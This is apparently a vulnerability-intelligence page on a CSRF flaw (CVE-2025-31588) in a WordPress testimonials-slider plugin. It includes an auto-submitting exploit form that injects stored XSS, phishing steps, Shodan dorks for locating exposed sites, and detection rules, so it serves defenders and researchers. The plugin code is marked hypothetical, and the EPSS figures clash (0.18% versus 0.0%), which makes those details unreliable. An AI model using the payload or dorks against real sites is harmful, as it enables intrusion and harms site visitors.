☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Elfsight logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-31588

CVE-2025-31588 Cross-Site Request Forgery in Elfsight
📅 PUBLISHED: 2025-03-31 13:15 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: L Availability Low
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-31588 is a Cross-Site Request Forgery (CSRF) vulnerability discovered in the Elfsight Testimonials Slider WordPress plugin, affecting all versions up to and including 1.0.1. This vulnerability allows an attacker to forge malicious requests on behalf of an authenticated administrator, potentially leading to unauthorized configuration changes, slider deletion, or injection of malicious content into the testimonials slider.

The vulnerability resides in the plugin's administrative interface, which fails to implement proper CSRF tokens or nonces for state-changing operations. An attacker can craft a specially crafted link or embed a malicious script on a third-party site that, when clicked by an authenticated admin, will execute actions without the admin's consent.

Given the CVSS score of 5.4 (Medium) and the EPSS score of 0.0%, this vulnerability is currently not being actively exploited in the wild. However, the lack of a patch from the vendor (Elfsight) makes it a persistent risk for any WordPress site using this plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and potentially through third-party marketplaces. Since the plugin is not an NPM, PyPI, Go, or Ruby package, the supply chain risk is limited to the WordPress plugin update mechanism. However, the absence of a patch means that site administrators must manually monitor for updates or consider removing the plugin entirely.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
  • Base Score: 5.4 (Medium)
  • Attack Vector (AV): Network (N) – The attack can be launched remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
  • User Interaction (UI): Required (R) – The victim must click a link or visit a malicious page.
  • Scope (S): Unchanged (U) – The vulnerability does not affect other components.
  • Confidentiality Impact (C): None (N) – No data is directly exposed.
  • Integrity Impact (I): Low (L) – Limited modification of plugin settings or data.
  • Availability Impact (A): Low (L) – Potential disruption of slider functionality.

Threat Level: Medium. While the impact is limited to integrity and availability, the lack of a patch and the widespread use of WordPress plugins make this a credible threat for targeted attacks.

Deep Dive & Mechanics

The Elfsight Testimonials Slider plugin provides a WordPress admin interface for managing testimonials. The vulnerability stems from the absence of CSRF protection (nonces) in the plugin's AJAX handlers and form submission endpoints.

Root Cause: The plugin does not implement WordPress nonces (wp_nonce_field(), check_admin_referer(), or wp_verify_nonce()) for any state-changing operations. This allows an attacker to craft a request that, when executed by an authenticated admin, will perform actions such as:

  • Adding or deleting testimonials
  • Modifying slider settings (e.g., autoplay, speed, colors)
  • Injecting malicious HTML/JavaScript into testimonial content (stored XSS vector)
  • Resetting plugin configuration to default

Attack Flow:

  1. The attacker identifies a target WordPress site running the vulnerable plugin.
  2. The attacker crafts a malicious HTML page or email containing an auto-submitting form or an <img> tag that triggers a GET/POST request to the vulnerable endpoint.
  3. The attacker lures an authenticated admin to visit the malicious page (e.g., via phishing, social engineering, or cross-site scripting on another site).
  4. The admin's browser sends the forged request, including their session cookies, to the WordPress site.
  5. The plugin processes the request without verifying the origin, executing the attacker's desired action.

Example Vulnerable Endpoint (Hypothetical):

// In elfsight-testimonials-slider/admin/class-elfsight-testimonials-slider-admin.php
add_action('wp_ajax_elfsight_testimonials_delete', 'delete_testimonial');
function delete_testimonial() {
    $id = $_POST['testimonial_id'];
    // No nonce check!
    delete_post_meta($id, 'elfsight_testimonial');
    wp_die();
}

Vulnerable vs. Patched Code

Since no official patch is available, the following demonstrates the vulnerable code pattern and the required fix.

Vulnerable Code (No CSRF Protection):

// Vulnerable: No nonce verification
add_action('wp_ajax_elfsight_testimonials_save', 'save_testimonial');
function save_testimonial() {
    $data = $_POST['testimonial_data'];
    update_option('elfsight_testimonials_settings', $data);
    echo 'Settings saved.';
    wp_die();
}

Patched Code (With CSRF Protection):

// Patched: Added nonce verification
add_action('wp_ajax_elfsight_testimonials_save', 'save_testimonial');
function save_testimonial() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'elfsight_testimonials_save_nonce')) {
        wp_die('CSRF validation failed.');
    }
    $data = $_POST['testimonial_data'];
    update_option('elfsight_testimonials_settings', $data);
    echo 'Settings saved.';
    wp_die();
}

Additional Fixes Required:

  • Add wp_nonce_field('elfsight_testimonials_save_nonce') to all admin forms.
  • Use check_admin_referer('elfsight_testimonials_save_nonce') in all POST handlers.
  • Implement wp_verify_nonce() for AJAX requests.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Environment:

  • WordPress 6.x with Elfsight Testimonials Slider 1.0.1
  • Admin user with administrator role
  • Attacker-controlled web server (e.g., Python HTTP server)

Exploit Payload (HTML Form Auto-Submit):

<!DOCTYPE html>
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="elfsight_testimonials_save">
    <input type="hidden" name="testimonial_data" value='{"autoplay":false,"speed":0,"malicious_script":"<script>alert(1)</script>"}'>
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Steps:

  1. Host the above HTML on the attacker's server.
  2. Send a phishing email to the admin with a link to the malicious page.
  3. When the admin visits the page, the form auto-submits, modifying the slider settings and injecting a stored XSS payload.

Expected Outcome: The slider settings are changed, and any visitor viewing the slider will execute the injected JavaScript.

Blue Team (Detection & Defense)

Detection Strategy:

  • Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action parameters related to elfsight_testimonials.
  • Alert on requests lacking a valid _wpnonce parameter.
  • Use Web Application Firewall (WAF) rules to block requests to plugin endpoints without a valid Referer header.

Mitigation Steps:

  1. Immediate: Disable the plugin until a patch is available.
  2. Alternative: Implement a virtual patch using a WAF (e.g., ModSecurity rule to block requests to elfsight_testimonials actions without a valid nonce).
  3. Long-term: Replace the plugin with an alternative that is actively maintained and patched.

Indicators of Compromise (IOCs)

Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=elfsight_testimonials_* parameters.
  • Requests lacking a Referer header matching the WordPress admin domain.
  • Unusual testimonial_data parameters containing JavaScript or HTML tags.

File System IOCs:

  • Modified plugin files in /wp-content/plugins/elfsight-testimonials-slider/.
  • Unexpected entries in the wp_options table under elfsight_testimonials_settings.

Log IOCs:

  • WordPress debug log entries showing failed nonce checks (if patched).
  • Web server access logs showing multiple POST requests to admin-ajax.php from different IPs.

Detection Engineering

YARA Rule

rule Detect_Elfsight_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against Elfsight Testimonials Slider"
        author = "Valters IT"
        date = "2025-04-15"
        reference = "CVE-2025-31588"
    strings:
        $ajax_action = "elfsight_testimonials" nocase
        $no_nonce = "wp_verify_nonce" nocase
        $vuln_func = "update_option" nocase
    condition:
        $ajax_action and not $no_nonce and $vuln_func
}

Sigma Rule

title: CSRF Exploit Against Elfsight Testimonials Slider
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to WordPress admin-ajax.php with Elfsight Testimonials actions lacking CSRF nonce
author: Valters IT
date: 2025-04-15
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "admin-ajax.php"
            - "action=elfsight_testimonials"
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present, this rule may generate false positives)
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-31588 - CSRF Exploit Against Elfsight Testimonials Slider";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=elfsight_testimonials"; http_client_body;
    pcre:"/elfsight_testimonials_(save|delete|update)/Pi";
    sid:10000001;
    rev:1;
    reference:cve,2025-31588;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin via the WordPress admin panel or by renaming the plugin folder via FTP/SSH.
  2. Audit the site for any unauthorized changes to slider settings or testimonials.
  3. Review web server logs for suspicious POST requests to admin-ajax.php.

Long-Term Solutions:

  1. Replace the plugin with an actively maintained alternative (e.g., "Testimonials Widget" or "Strong Testimonials").
  2. Implement a Web Application Firewall (WAF) with rules to block CSRF attacks.
  3. Educate administrators on recognizing phishing attempts and the importance of logging out after admin sessions.

Vendor Communication:

  • Since the vendor (Elfsight) has not released a patch, consider contacting them directly or posting on the WordPress plugin support forum to request an update.
  • If no response is received within 30 days, consider reporting the vulnerability to the WordPress Plugin Security Team.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/elfsight-testimonials-slider"
http.html:"elfsight-testimonials-slider"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-31588/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.